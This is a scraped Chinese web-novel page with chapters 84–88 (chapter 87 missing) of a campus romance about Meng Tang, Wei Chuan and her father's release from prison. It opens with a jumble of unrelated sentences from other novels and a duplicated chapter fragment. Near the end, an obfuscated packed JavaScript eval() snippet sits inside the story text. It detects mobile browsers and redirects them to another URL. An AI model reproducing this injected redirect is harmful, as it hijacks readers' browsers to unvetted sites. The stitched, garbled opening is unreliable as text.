向玉端详着这将圆不圆的月叹气,现在一局棋毁了,她还能再下一盘,可是人有几个七年?七年,够把白眼狼喂成忠心耿耿的狗,够磨平人心里的恨,也能让她厌弃当初的自己。 顾五牛老实巴交的挠了挠后脑勺,蹲下去拿了一块柴塞进灶里,认真说道:“就这样,把柴架进灶里。 不想那棺材里面刻了一道鼠符咒,她摸棺材,正好碰到了鼠符咒,神力激活之下,棺材里面的干尸死而复生,拿着权杖就开始召唤虫子。 他怎么也没想到,王鹤年竟然公然对他们出手,完全不按照套路出牌。 灯笼大人尖锐庞大的牙齿瞬间被撕裂,下一瞬,月牙斩撕裂灯笼大人的皮肤,势不可挡的疾速噼去。 现在人们对流感已经很重视,医院也爆满,现在感染范围已经很广了。 特别是对于那些出身贫寒的草根选手来说,这简直就是一次一步登天的机会。 随着浩劫的时间越来越接近,所有人的心里承受莫名的恐惧和压力。 “出发”随着我一声令下,部队又再次收起了武器分成两路沿着铁路朝二线走去。 第一卷 第83章 还不赶紧给他打电话 浴巾半掩,上半身皮肉风光尽收眼底,宽肩窄腰,胸腹分明。 水珠迟迟不肯顺滑而下,沾着细碎的光,晃了孟棠的眼。 “你等等等……等我一下。”魏川结巴着推开了客卧的门。 孟棠喃喃道:“身材比例真好。” 就在黄龙的手要接触到对方同时,李永乐的声音响起,黄龙的手离对方脖颈只有三四公分停了下来。 只见矮脚虎的手臂处,竟是钻出来无数道黑色的如同灵魂般诡异的东西,瞬间融入了血色铁棍上。 李清风直接说道:赤火毒蛇王,你马上动用自己的力量给我寻找赤无痕和魔长天,他们都是灵皇境八阶强者,你不要靠近他们,寻找到之后立刻告诉我他们的位置。 “你被免职的命令不是我下达的,是上级领导决定的。你最好好好配合纪委同志的工作。”何局长冷哼一声,他手下的副局长出了这么大的问题,他也是脸上无光。现在只希望不要被徐成刚这个蠢货拉下水。 “怎么了?菜出问题了?”陈鹏心中猛地一突,脸色一变,瞬间头上布满细密的汗珠,担心道。 因为他知道,跪地求饶对别人有用,对自己来说,已经不管用了。 梁飞对拘留所的早饭完全不感冒,毕竟昨天他在仙境中吃了不少的人参果,此时没有一丝的饿意。 “东方,好歹我也照顾了你近三个月,你不会连这点面子都不给我吧?”说话间,林逸之已阻拦在东方不败的面前,面上微笑如故,左手上还拿着一个插着焦黄色泽烤鸡的树枝,横在了东方不败的身前,诱人的香气扑鼻而来。 倒完之后,叶少轩将残留的盘子往桌子上一扔,打算明天在清理他们,然后就回到了自己的房间,也就是之前的那个杂货间。 围观的百姓早就把刑台围的水泄不通,人声鼎沸的,议论纷纷,便都是谈论着叶府昔日的光荣以及如今的破败,感叹唏嘘不已,叶蓁的目光却紧紧锁定着刑台之上的三人。 第二天,阳光晴好。已经接近三伏,天气热得几乎要把人烤熟,一贯走轻盈路线的千期月换上了波西米亚风格的长裙,配上坡跟凉鞋,短袖白衬衫,看起来很有夏天的风味,走起路来,长裙摇曳,一片流动的风景。 可是到了晚上碰头的时候,大家却大失所望,长洲市一共五个养狗的地方都去打探过了,没有一处有可疑的。林海那边得到的消息也是如此,兄弟社团的几百号人四处打听,也没有发现有什么可疑的人或者这方面的消息。 如果神行无忌是一名智者,他就会明白,天地之中,火焰是一种推动型的能量。因为它的狂躁,因为它的活泼,因为它是那么的澎湃。 但是要死就这样杀过去,抢到的机会不是太大,金丹后期的修士还有两个,要是跑了,什么也得不到,而且,也不能有太大的动作,所以只能智取。 对面的人倒是不说话,摆好架势,凌厉的掌风袭向阿廉面门,阿廉也不是吃醋的,刚好现在心里有点堵,拿來练练手也不无不可。 嬷嬷便上前几步,伸手掀开纱幔,正准备怒骂,看见那两人,却是发愣,难以置信的瞪大了双眼,只待着是看错了人。 第一卷 第84章 怎么当人家男朋友的 孟棠掏出了手机,其实不说也没什么。 她和魏川又不是真正的情侣。 可既然想起来了,还是要说一声。 “哎呀,月娘,你还没有吃早饭的?你想吃什么?我给你做点。”沐婶儿听到沈映月的肚子叫,都有些心疼了。 他微微一笑,颇有几分得道仙人的意思。说:“事情不是你想的那么简单。前面我也说过了,对我们来说捉鬼的第一方法就是超度。 我点了点头,总感觉这香气有些古怪,身体上的不适,说不定就是香气引起的,不过这香气充斥着整个祭坛,除非屏住呼吸,要不然肯定将香气吸进体内。 倒是沈映月自己,在结束这个话题后自己思考起来了,觉得梁寒初的说法也是挺可以的。 红导师冲伊诚随意地摆摆手,然后踱着优雅的猫步朝主席台的座位走去。 此时此刻的冉云端心里满是担忧,也不知道苏彦爵到底出什么事了。傍晚的时候,她着实忍不住了想要打给苏也,可电话都拨出去了,却就是无法接通。 鬼王殿的人根本没料到顾天朗会突然单独逃走,一个照面没拦住,被他冲了出去。 此刻,贾千面光暗自将全身余下所剩无几的真气储备全面修复这三个被封住的穴道,企图能冲开逃命,就很不容易了,哪有精力再去管钥匙的事?钥匙本来就不属于他,也没那么心疼,丢了虽然可惜,却也总比命没了强。 “叔叔阿姨你们好。”苏也看了明明一眼后,礼节周到的和明明的父母问好。 “我会照顾好这个孩子的。”尹语沫的泪水终于滑下,她已经失去了孩子了,所以这个孩子,是上天可怜她,才送到她的身边的,是上天再给她一次机会,让她做一个母亲。 当然,这种事不是我们想做就可以做的,这种扩大街道需要上面的人点头同意。 “为什么?这里就挺好的。”穆流年一边说着,一边开始对她宽衣解带了。 正当姬瑶担心着的时候。上去查探地形的苦道人。又是从通道口中窜落了下來。 蒙天的眼睛微微眯了一下,他知道云苍璃这是在警告他,无论如何都是不可以强行插手的,否则,只会是给自己招来祸端。 樱看了眼桌子上满满一桌菜,都是佐智子爱吃的,而佐智子对着这么一大桌美味,却带着淡淡的愁容,似乎也没什么胃口的样子。 “效果不错,接着说!”程东一受欢迎,岳龙也觉得自己脸上有光。 来到宋宅内院的大厅里,南宫雪衣坐在下首的第一张椅子上,知府坐在她对面的椅子上。丫鬟和跟着知府来的随从,都守在门外远一些的地方。 “是哟!还有之前那个叫井上什么什么的男生,也是一直在追求樱呢,花心的大萝卜樱,到处沾花捻草!”未羽在此刻深有同感的点点头,一本正经的朝佐智子诉苦道,同时向樱投来鄙视的目光。 周泰之所以没有第一时间动手,是因为还没有摸清李愚的底细,对方都杀到这里来了,有这样的本事必须得警惕再警惕才行。 第一卷 第83章 还不赶紧给他打电话 浴巾半掩,上半身皮肉风光尽收眼底,宽肩窄腰,胸腹分明。 水珠迟迟不肯顺滑而下,沾着细碎的光,晃了孟棠的眼。 “你等等等……等我一下。”魏川结巴着推开了客卧的门。 孟棠喃喃道:“身材比例真好。” 就在黄龙的手要接触到对方同时,李永乐的声音响起,黄龙的手离对方脖颈只有三四公分停了下来。 只见矮脚虎的手臂处,竟是钻出来无数道黑色的如同灵魂般诡异的东西,瞬间融入了血色铁棍上。 李清风直接说道:赤火毒蛇王,你马上动用自己的力量给我寻找赤无痕和魔长天,他们都是灵皇境八阶强者,你不要靠近他们,寻找到之后立刻告诉我他们的位置。 “你被免职的命令不是我下达的,是上级领导决定的。你最好好好配合纪委同志的工作。”何局长冷哼一声,他手下的副局长出了这么大的问题,他也是脸上无光。现在只希望不要被徐成刚这个蠢货拉下水。 “怎么了?菜出问题了?”陈鹏心中猛地一突,脸色一变,瞬间头上布满细密的汗珠,担心道。 因为他知道,跪地求饶对别人有用,对自己来说,已经不管用了。 梁飞对拘留所的早饭完全不感冒,毕竟昨天他在仙境中吃了不少的人参果,此时没有一丝的饿意。 “东方,好歹我也照顾了你近三个月,你不会连这点面子都不给我吧?”说话间,林逸之已阻拦在东方不败的面前,面上微笑如故,左手上还拿着一个插着焦黄色泽烤鸡的树枝,横在了东方不败的身前,诱人的香气扑鼻而来。 倒完之后,叶少轩将残留的盘子往桌子上一扔,打算明天在清理他们,然后就回到了自己的房间,也就是之前的那个杂货间。 围观的百姓早就把刑台围的水泄不通,人声鼎沸的,议论纷纷,便都是谈论着叶府昔日的光荣以及如今的破败,感叹唏嘘不已,叶蓁的目光却紧紧锁定着刑台之上的三人。 第二天,阳光晴好。已经接近三伏,天气热得几乎要把人烤熟,一贯走轻盈路线的千期月换上了波西米亚风格的长裙,配上坡跟凉鞋,短袖白衬衫,看起来很有夏天的风味,走起路来,长裙摇曳,一片流动的风景。 可是到了晚上碰头的时候,大家却大失所望,长洲市一共五个养狗的地方都去打探过了,没有一处有可疑的。林海那边得到的消息也是如此,兄弟社团的几百号人四处打听,也没有发现有什么可疑的人或者这方面的消息。 如果神行无忌是一名智者,他就会明白,天地之中,火焰是一种推动型的能量。因为它的狂躁,因为它的活泼,因为它是那么的澎湃。 但是要死就这样杀过去,抢到的机会不是太大,金丹后期的修士还有两个,要是跑了,什么也得不到,而且,也不能有太大的动作,所以只能智取。 对面的人倒是不说话,摆好架势,凌厉的掌风袭向阿廉面门,阿廉也不是吃醋的,刚好现在心里有点堵,拿來练练手也不无不可。 嬷嬷便上前几步,伸手掀开纱幔,正准备怒骂,看见那两人,却是发愣,难以置信的瞪大了双眼,只待着是看错了人。 第84章 怎么当人家男朋友的 孟棠掏出了手机,其实不说也没什么。 她和魏川又不是真正的情侣。 可既然想起来了,还是要说一声。 孟怀璋21号出狱,她这两天被这件事影响得太深。 手机响了五六声,对面才接起,只听魏川嘿笑一声:“我刚要给你打电话,你就给我打来了,咱俩还真是心有灵犀啊。” “你给我打电话是有事要说吗?”孟棠没跟他抢,让他先说。 魏川说:“我这不是想问问你什么时候回去,我去车站送你。” 孟棠顿时心虚了:“不好意思,忘了跟你说,我今天就回,行李箱已经收拾好了。” “今天?”魏川有训练,几乎不放假,他蹭一下从训练馆的地上站起来,“你已经走了吗?” “还没呢。”孟棠抠着扶梯上留存的透明胶。 “你几点的车?”魏川拿了外套,出了训练馆。 “12点半。” “你等着,我带你吃个饭再走。” “算了,我还是直接去车站吧,回去再吃。” 路程也不远,而且她也不饿。 “时间完全够的。”魏川跑起来,“我待会儿开车送你去车站,就你这性格,上车饿死了也不会叫住乘务员买吃的,等我。” 魏川霸道地说完,又霸道地挂了电话,生怕被拒绝似的。 谢泠音听了全程,笑眯眯道:“有男朋友为什么不用啊?他还能开车送你去车站,省得自己打车了,出租车味道难道好闻吗?” 孟棠笑了笑,纠结一番,还是带上了玉露。 小小一盆,她怕魏川不好拿,弄了个挺括的袋子装着。 孟棠推着行李出了19号楼,被魏川迎面撞上。 “你怎么这么快?”孟棠着实一惊,即便两个地方不算远,但跑过来也得十几分钟。 “哪儿快了。”魏川喘着粗气去接孟棠的行李箱,岂料她往后一躲。 “不会再给你弄坏了。”魏川一把抢过去,又嘿嘿一笑,“这是我给你赔的行李箱吧?” “嗯。”孟棠点了点头。 “咱俩也挺有缘的吧?”魏川欠欠地挤着她走路,“这箱子是我的,刚用一次就赔给你了。” 孟棠笑道:“我查过这个箱子的价格,想要还给你的,但刚开学,谁也不认识,我去找学姐,学姐让我安心收着。” 魏川说:“那后来总在学校见过我吧?怎么没想着去找我?” 这样的话,他俩是不是可以早一点遇见? 孟棠呵笑:“您太红了,走哪儿都跟着一帮人,我想想还是算了。” “没想到后来咱俩又认识了吧?”魏川将箱子拎上食堂的台阶。 孟棠知道拗不过他,只好跟着进去。 “你坐着别动,我去给你买饭。”魏川转头将箱子往孟棠手里一塞,“找个位置先坐下。” 箱子挺大的,也有点重量,孟棠推着找了个空位。 魏川只买了一份饭菜,转头又去给她打了一份青菜豆腐汤。 “你先吃,我出去一下,马上就回来。” 孟棠想问他干什么去,人已经跑远了。 十五分钟左右,魏川匆匆进了食堂,他将一个精致的包装袋放到餐桌上,推过去: “一些小零食,带着路上打发时间。” 鼓鼓当当一大包,孟棠愕然:“怎么买这么多?” “早就买好的,刚才打电话给你就想问你什么时候走,好把这些东西给你。” 竟然早就准备好的?孟棠心中微动:“那你刚才回寝室去拿的?” “让梁衡跑着给我送过来的。” 这些都是他从他三姐那儿搜刮过来的,魏思沅爱吃零食,嘴巴也刁,入她嘴巴的东西,必然不会难吃。 孟棠心里闪过微微的异样,她觉得魏川对她过于的……过于的…… 怎么样呢?她说不清楚。 就比如此刻,他就那么看着她,眼睛都不眨一下。 起初她还能装作不在意,时间一长,浑身不自在,只能低头搞各种各样的小动作。 魏川哪里看不出来,笑了声:“吃好了吗?” “嗯。”孟棠点了点头,见他起身要走,忙拦住人,“等一下,我有个事跟你说。” 魏川重新坐下:“你说” 孟棠将装着玉露多肉的袋子推过去:“我想麻烦你帮我养一下。” “什么?”魏川好奇地拿过去,一垂头,看到晶莹剔透的叶瓣,“这就是你说过的多肉,好像叫玉露吧?” 孟棠点了点头:“放那么多天假,开学估计就得死了,坐车不太方便带着。” 魏川静默了一瞬,问:“这是许鹤清送的?” “是他送的没错,但这是泠音给我的。”孟棠说。 是许鹤清给了谢泠音,谢泠音又给了她。 她收的时候并不知道这是许鹤清养的,即便到现在,她也觉得这是谢泠音送给她养着玩的。 石岚和杨可也有,只不过石岚那盆早死了。 就她这盆长得漂亮,她实在舍不得不管它。 见魏川半晌没说话,孟棠以为不行,伸手想要拿回去。 魏川快她一步,起身握住她的行李箱,说:“一定给你养得好好的,走吧,送你去车站。” “谢谢。”孟棠将零食袋子拎着跟上去。 魏川勾了勾唇。 还怕寒假里孟棠不理他,这下可由不得她了。 开车将她送到车站,距离发车还有二十分钟。 孟棠没再耽误,检票进了站。 两人挥手道了别,直至孟棠上了二楼,魏川才转身离开。 回到车上,他将雨露拿出来,拍了张照片给孟棠发了过去: 我现在就带它回家。 魏川也没养过这些小东西,家里阿姨可以解决一切,再不济还有许鹤清呢。 车子还没发动,许鹤清的电话打了过来。 魏川接起,听到许鹤清问他:“你知不知道孟棠申请了假期住校?” 魏川一愣:“不知道,她不是已经回去了嘛?” 还要住校干什么?再说放假期间,水电统一关闭,就算能为她开着,但她一个女生住在乌漆嘛黑那么大一栋宿舍公寓里也不是很安全。 许鹤清:“听泠音说是博物馆的文物修复,具体的我也不知道,泠音有点担心她一个人住在宿舍里,我就想到你了,你又是她男朋友,又是本地人,有你泠音也放心,我没想到你根本不知道有这回事。” 末了,他又调侃了一句:“怎么当人家男朋友的?” 魏川蹙了蹙眉,孟棠刚才有那么多机会,为什么不跟他说? 只要她说一声,康铂的公寓随便她住。 为什么不说呢? 第85章 你哭了 挂断电话,魏川开车将玉露多肉送回了家。 楚茵见着儿子又惊讶又高兴:“你怎么回来了?不是说过年只放十天假,其他时间都在学校训练吗?不会是想妈妈了吧?” “妈,您知道我朋友私底下怎么称呼我吗?” “知道,耀祖嘛。” 魏川气笑了:“您知道就好,所以生活里对我别太夸张,让人误会。” “咱家有钱呀,生几个孩子无所谓啦。”楚茵哼了声,“我生你怎么了?男人嘴上说什么不在乎儿子,其实心里在乎得很。万一你爸真在外面跟人家生了儿子,你三个姐姐怎么办?你呢,就跟那核武器似的,咱家可以不用,但不能没有啊。” 魏川:“……” 第一次听到这样新鲜的解释。 不是为她回来的,楚茵立刻收了笑脸,一副他是讨债鬼的模样:“所以你回来到底干什么的?” 魏川说:“我养了一盆多肉,没什么精力照顾,拿回家让阿姨帮着照看一下。” 魏川倒是想自己照顾,但他训练时期要搬到学校指定的宿舍楼集中居住。 带着不太方便,也不会养,更没时间。 楚茵去接他的多肉,语气有些责怪:“在学校这么累,还养这么个小玩意。” 魏川躲开她的手:“妈,您别给我碰坏了,让阿姨照看。” 楚茵“啧”了声:“我哪里就能碰坏了。” 魏川皮笑肉不笑,将多肉给了一旁的阿姨,叮嘱道: “小心照顾,每天都要给我拍视频。” “好的。” 魏川稍坐了会儿,说:“妈,我中午就不在家吃饭了,学校还有事,等我放假再回来看您,您跟爸照顾好自己。” 说完,也不管楚茵的抱怨,拿着车钥匙离开了。 上了车,魏川并没急着启动车子,先给孟棠发了条信息。 孟棠看到信息时,正对着窗外发呆。 开了手机,她目露疑惑。 魏川说:【你是不是有什么事忘了跟我说?】 孟棠发了个问号过去。 不巧,贺教练来了电话。 魏川也不想和孟棠靠短信沟通,删删改改后,回:【没事,等你回去再说吧。】 孟棠也就没再问。 魏川倒是记挂着,但他忙着搬寝,又被叫过去开了寒假训练计划的会议。 这事也就暂时搁着了。 远在雁清的孟棠刚收拾好行李箱,方姐就来敲了门,问她晚上吃什么。 孟棠出了房间,回:“问爷爷吧,我都行。” “你们爷孙都说一样的话,实在不知道我看着做了。” “好。” 从房门口看到方姐离开的背影,孟棠一时有些愣神。 她有记忆的时候,方姐就在她家。 俗话说,瘦死的骆驼比马大,孟家虽然败落了,但孟遇春有一门好手艺。 赚钱是不愁的,可即便如此,也走了不少人,最后只有方姐留了下来。 当然,孟老头那会儿也养不起那么多佣人。 之所以留着方姐,是因为孟棠是她带大的。 后来孟棠大了,她又转头去照顾年老的孟遇春。 想到这里,孟棠跟进了厨房。 方姐见状撵她:“哎呦,小祖宗,你进来干什么呀?赶紧出去。” 孟棠没出去,反倒是问:“爷爷这段时间心情怎么样?” 方姐动作一顿,转头看了眼外面,对孟棠说:“成天唉声叹气的。” 孟棠蹙眉:“这把年纪了,怎么还想不开。” “你爷爷什么想不开。”方姐说,“只不过儿女都是债,你爸爸眼看要出来了,他心里是高兴的,但高兴之外,又时常感叹自己教子无方。” 这话孟棠还真没办法反驳。 老爷子年轻的时候,一门心思想要培养孟怀璋。 奈何孟怀璋是烂泥扶不上墙,读书也不行,仗着有点家底摆大少爷的款。 后来为了套老爷子的钱,同意结婚。 孟棠出生没两月,他就跟孟棠的妈离了婚,整天在外头潇洒,心情好了回来逗逗孩子。 老爷子彻底失望,不再管孟怀璋。 说白了,管也管不住。 就是那几年的放纵,让他染上了赌瘾。 为着这事,老爷子心头自责。 孟棠叹了声气:“我去看看爷爷吧。” 后院,老爷子在锯木头,沉默得一言不发。 “爷爷。”孟棠走了过去。 孟遇春歇一口气,问:“你说的那个观音像修复什么时候开始?” “23号。” “那你回去住哪儿?” “我申请了学校宿舍,您放心吧。” 虽然还没一个确切的消息,但孟棠不想老爷子担心。 老爷子放下锯子,喘着粗气:“不行了,老了,干了这么一会儿就累了。” “我来吧。” 孟遇春阻止她:“放着吧,咱爷俩聊聊天,过来是有话跟我说吧。” 还是这么火眼金睛。 孟棠“嗯”了声,问:“如果他这次回来,还是改不掉,您会怎么办?” 孟遇春笑了声,语气开玩笑一般:“当没他呗,这九年咱俩不也好好的。” 孟棠也笑:“您舍得啊?” “我有什么舍不得的,他回来,一日三餐是有的,想要钱,没门,你以后要结婚,我攒了那么些年,那都是你的嫁妆。” “爷爷,我不是这个意思。” “我知道。”孟遇春说,“我年轻时嚣张气盛,自认手艺无人能比,生的儿子必然也天赋异禀,哪知道来了这么一个混账。” 说到这里,老爷子看着孟棠,眼神慈爱:“好在有你啊,填补了我的缺憾。我以前总觉得,我这辈子最骄傲的就是我的手艺,后来发现并不是。” 孟棠下意识凝神屏息,心脏突突一跳。 “我这辈子最骄傲的是你。” 孟棠张了张嘴巴,没想到老爷子是这样想的,这也是他第一次对她说这些。 眼泪就这么冒了出来,孟遇春失笑:“这么大姑娘还哭。” 孟棠还没来得及擦眼泪,手机叮铃铃响起来。 来电显示是“魏川”,老爷子瞥了眼,挥了挥手:“赶紧接电话去。” 孟棠聚集起来的情绪因为一通电话而消散。 她接了电话,细声细气“喂”了声。 带着轻微的鼻音,魏川耳尖,一下听了出来,语气又急又慌:“你哭了?” 第86章 去我的公寓住 耳膜一震,孟棠将手机稍稍拿开。 “你说话啊,谁欺负你了?” 听到那头篮球的砰砰落地声,孟棠忙道:“没有谁欺负我,刚才和爷爷说话呢。” “老头欺负你了?”魏川听不懂话似的,“他不会又跟你说了结婚生子的事吧?” 孟棠满脸黑线:“……没有,你脑补什么。” “那你哭什么?”魏川心焦,“我可禁不住你逗,赶紧告诉我,不然我直接杀到雁清。” 孟棠轻笑:“别以为我不知道你集训呢,还杀到雁清,怕是校门都出不了。” “别激我啊。” “开玩笑的。”孟棠赶紧说,“我只是跟爷爷说了几句话,有点感动。” 魏川诧异地挑了下眉:“老头跟你说了什么?” 孟棠跟他玩抽象:“说给我准备了嫁妆,你也知道我爷爷手艺,还是值点钱的。” “你还说他没跟你提结婚的事?”魏川崩不住了,“嫁妆都准备好了,不会连人选都有了吧?” 孟棠被他突然提高的音量吓了一跳:“你这么激动干什么?” “我——”魏川一噎,随后又理直气壮起来,“你现在不还是我女朋友嘛?” 这下换孟棠语塞了:“不是说好开学就分开吗?其实寒假也——” “不可以。”魏川打断她,“说好的开学,少一天少一秒都不行。” 也不知道他突然激动什么,孟棠安抚道:“行,那就开学,你打电话给我什么事,我马上要去吃饭了。” 魏川终于想起了正事,说:“我听人说你寒假不回去,怎么没有告诉我?” “谁告诉你的?” “别管谁告诉我的,这事是不是真的?” “是真的。”孟棠说,“我已经提交了申请表,不过院里还没结果。” 魏川说:“不可能让你留校的,我们留下集训的人搬到了运动员宿舍,管理很严格,普通宿舍会切水电,你没有办法住。” “我知道你是为了正事才留下,还特地去帮你问了,能住普通宿舍的可能性不大。” 孟棠愣了,那怎么办? 半晌没动静,魏川知道她在思考对策,清了清嗓子,装模作样道: “我有两个办法,可以解决你留在Z市的住宿问题,要听吗?” 孟棠不知道怎么想的,说:“实在不行,我可以住酒店,也可以在学校附近找短租公寓。” 魏川让她别急:“你先听我说。” 孟棠默了默:“你说。” “你说的都可以,但酒店除非是高端一点的,不然乱七八糟的人很多,短租公寓不安全,有些房东专门诱骗女大学生。” “我要跟你说的才是比较靠谱的,先听一下,好不好?” 魏川的声音透过无线电波,低低沉沉落入耳中。 语气温柔,像在哄人。 孟棠实在受不了这种渣男音,索性进了屋,开了免提,将手机搁在桌上。 随后,她才应了声:“好。” “我们学校也有女子篮球队,她们寒假也要集训,原则上是不准旁人同住的。” “但这种例子也有过,你情况特殊,跟学校申请一下是可以的,就是比较麻烦。” “首先要出具校方的留校证明,你原来的申请表是不行的,要向你们院里重新提交《寒假临时住宿调整申请》的表格。” “如果院方和学校同意,需要体育部和宿管科联合审批,还得找女篮的汪教练进行签字。” “除此之外,还有——” “等一下,你还是说第二个办法吧。”孟棠听得云里雾里,直接打断了他。 魏川勾了勾唇,一本正经道:“另一个办法就是去我的公寓住。” “你的公寓?”孟棠一愣。 “对,我集训回不去,还是你一个人住,那里安全多了,我提前预约过,你只要过去,每天都有车接送你。” “这样一来,我也不用担心你的安危,吃饭也不用担心,一日三餐,管家会送上门。” 他早就给康铂的物业打过电话,说朋友寒假暂住,委托管家办理一应手续。 孟棠直接拎包入住就可以。 不得不说,孟棠心动了。 可天下没有白吃的午餐。 “为什么?”孟棠问他,“你为什么这样帮我?” 因为喜欢! 可这话明着说了,能把孟棠吓着。 万一吓跑了,他去哪儿再找女朋友? “我可做不来有房子不给女朋友住这种事啊。”魏川嬉皮笑脸跟她开玩笑。 “谁是你女朋友。”孟棠嘀咕一声,撇过眼时一怔,镜子里,她咬着下唇一块软肉,眉目生辉,含羞带怯。 一颗石子咚一下落入湖中,她一把将镜子翻平,用掌心浅浅压着。 队友叫魂似的催魏川去吃饭,他转头看了眼,对着手机说: “好了,我也要去吃饭了,你考虑好了告诉我一声,但是孟棠……” “嗯?”孟棠下意识应道。 “我希望你去康铂,我不想训练的时候还要担心你,我一不在状态,老贺就把我往死里骂,你也知道,哥身负重任啊。”魏川以玩笑口吻回她。 孟棠都能脑补出来那样的画面,她也听过贺教练骂人,是挺吓人的。 “好。”孟棠也不纠结了,“我去康铂。” yes!魏川在心里雀跃一声,说:“那你什么时候回来告诉我,我先去吃饭了。” “嗯。” “你先挂,我在穿衣服。” 孟棠挂了电话,临睡之前,她告诉魏川22号回去。 魏川第二天上午才回复,两人的时间总在错开,可从18号开始,不管他发什么,孟棠都没回复过。 一天他也就忍了,可三天过去了,孟棠还是杳无音信。 期间他打了很多通电话,但始终没人接听。 魏川有点急了,训练的时候心不在焉,被老贺逮着骂了一顿。 “到底怎么了?你这状态怎么练?” 魏川不想自己影响队友,说:“是我的问题。” “教练。”田聿走过来,“他女朋友三天联系不到了,川哥担心,人之常情嘛。” 毕竟是女生,贺教练眉头一皱:“怎么回事?她家人呢?也联系不到?” “卧槽。”魏川真要被自己蠢哭了,他有老头子的电话啊。 “教练,我出去打个电话,五分钟,就五分钟。” “去。” 魏川匆忙拿了手机,给老爷子拨去电话。 第88章 好吃赏一口给我呗 出租车越走越荒凉,再跟下去准得被发现。 魏川问司机:“师傅,这条路通哪儿啊?” “第三监狱。” 魏川一惊:“监狱?” 孟棠去那儿干什么? 多余问自己,简直就是废话,不是看人就是接人。 魏川赶紧叫人停车,叫司机把他送回孟家大宅。 到了后,他并没有敲门,而是去对面的马路边寻了个隐蔽的位置。 他有些捏不准,到底要不要出现在孟棠的面前? 出租车里异常沉默,孟棠盯着前方,脑子空空一片。 后排的孟怀璋像急需拯救,坏了电路的机器人。 车里不适合聊天,孟家三代人一路沉默到家门口。 魏川的视力很好,隔着一条路,他看到一个青皮寸头,身材高大却瘦削的中年男人。 一眼望去,如斯眼熟。 从外轮廓到五官,这人和孟棠有七八分的相似。 老头不知道说了什么,男人微微弓着腰应声。 魏川心里一突,大概猜出了男人的身份。 他愣神的工夫,孟棠突然往他的方向抬了下眼。 魏川本能躲去了粗壮的老树后。 他知道,今天不能出现在孟棠的眼前了。 她瞒着他说雕一天的木头,其实是去接了服刑期满的父亲。 魏川理解她瞒着的举动,换做是他,也不乐意让别人知道。 他当即改了车票,回了z市。 方姐出来迎人,见孟怀璋已经用柚子水洗了手净了面,孟棠还盯着对面看,喊了一嗓子: “小棠,你发什么愣?赶紧进来。” 孟棠回神,跟着进了屋。 老爷子去了正堂,孟棠进去的时候,孟怀璋不在,想必还在换衣服。 五分钟后,孟怀璋出来,直接跪在了老爷子跟前。 孟遇春就这一个儿子,心中不可能没有一丝触动。 他叹了声气,说:“以后好好做人,不要再给孟家人丢脸。” 孟怀璋颤着声儿“嗯”了声。 “我这些年给你带着孩子,你从未尽过一丝做父亲的责任,你跟小棠的事,我不会过问。” 孟怀璋起身,转头看着孟棠。 孟棠抓紧扶手,躲开了孟怀璋的视线。 “长大了。”孟怀璋拘谨地笑了下,“也漂亮了。” 孟棠倏地起身,出了正厅。 “小棠。”孟怀璋愣了下,却不敢追过去。 孟遇春说:“慢慢来吧,你知道她心里对你有怨恨。” 孟怀璋“哎”了声。 人说起来很矛盾,他入狱之前,对孟棠没有多少关心,大概是仗着有老爷子帮衬。 入狱之后的每一晚,他都能想起孟棠,愧疚也就随着时间的推移渐渐加重。 孟棠不理他,他丝毫不意外。 “我去看看她?” 老爷子点了点头。 孟棠将自己关在了屋里,孟怀璋不敢进去,就在她窗前的海棠树下徘徊。 今天天气不错,孟棠敞着窗,瞥见他,径自上前合上窗户。 孟怀璋尴尬地对给孟棠送水果的方姐笑了笑。 方姐敲了敲门:“小棠,吃点水果。” 孟棠开了门,笑着接了水果:“谢谢方姐。” 全程没看一眼孟怀璋。 孟棠其实没什么胃口,但方姐准备了,她也不好一口不吃。 心不在焉吃完了水果,孟棠将行李箱拿了出来。 之前带回来一些不穿的衣服,这次去Z市要待二十多天,也得收拾一些衣物带过去。 收拾了半小时,孟棠转头趴在床上放空。 脑子里闪过门口的那一幕,觉得是不是自己眼花了。 魏川怎么可能来这里? 越想越觉得可疑,她拿过手机给魏川发了条信息:【你在干嘛?】 魏川还在车上,看到时扯了个笑,试探都明晃晃的,生怕别人看不出来吗? 他没回,孟棠不知道他的放假时间,只知道他们每天都要训练。 等回到学校,再回她一句“在训练”就可以了。 晚上六点半左右,魏川回了她。 孟棠并没有松口气,因为按照时间推断,魏川真的去了雁清的话,这个时候已经回到了学校。 可这不过是她的猜测,魏川没有来雁清的理由。 她想了想,垂头在手机上输入:【我明天中午到,你能来接我吗?】 “**。”魏川暗自叫一声,孟棠竟然主动让他去接她? 要知道,她从来不喜欢麻烦人。 可不放假不让出去。 魏川匆匆吃了饭,餐盘一端就去找教练,软磨硬泡了十几分钟,得到中午两小时的外出时间。 孟棠出站的时候,魏川早就等着了。 她还在找人时,魏川玩心大起,走到她身后戳了下她肩膀。 孟棠往右转头,并没有人。 “左边呢。”魏川轻笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15892642|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟棠再次转过头,微微勾着唇角,说他幼稚。 魏川从她手里接过箱子:“先带你去吃饭?” “不饿,先去公寓吧。”孟棠说。 “真不饿啊?”魏川放慢步子,跟她调至同一个频率。 孟棠摇摇头:“真不饿。” 他的车就在北出口的P10,给她开了副驾的门,魏川笑道:“那这热乎乎的板栗和奶茶,我一个人吃了?” 板栗软糯香甜,孟棠是喜欢的。 她顿了下,仰头看向魏川:“要不分我一点?” 魏川被逗笑,笑得极其灿烂:“上车,就是给你买的。” “谢谢。”孟棠上了副驾,自己系好了安全带。 魏川关上车门,将她的行李箱放进了后备箱。 上了车见她没动,问:“怎么不吃?” “怕把你的车弄脏。” “没事,外面不是套着塑料袋嘛,大胆地吃。” 孟棠低头剥了一粒塞进口中,眯了眯眼:“好吃。” “好吃赏一口给我呗。”魏川玩笑似的语气。 孟棠剥了一颗,放到掌心上伸了过去:“给。” 正好是六十秒的红灯,魏川瞥了眼板栗,又瞥了眼孟棠。 眼神雾沉沉的,看得人心头一惊。 孟棠眨巴着眼睛又往前伸了伸。 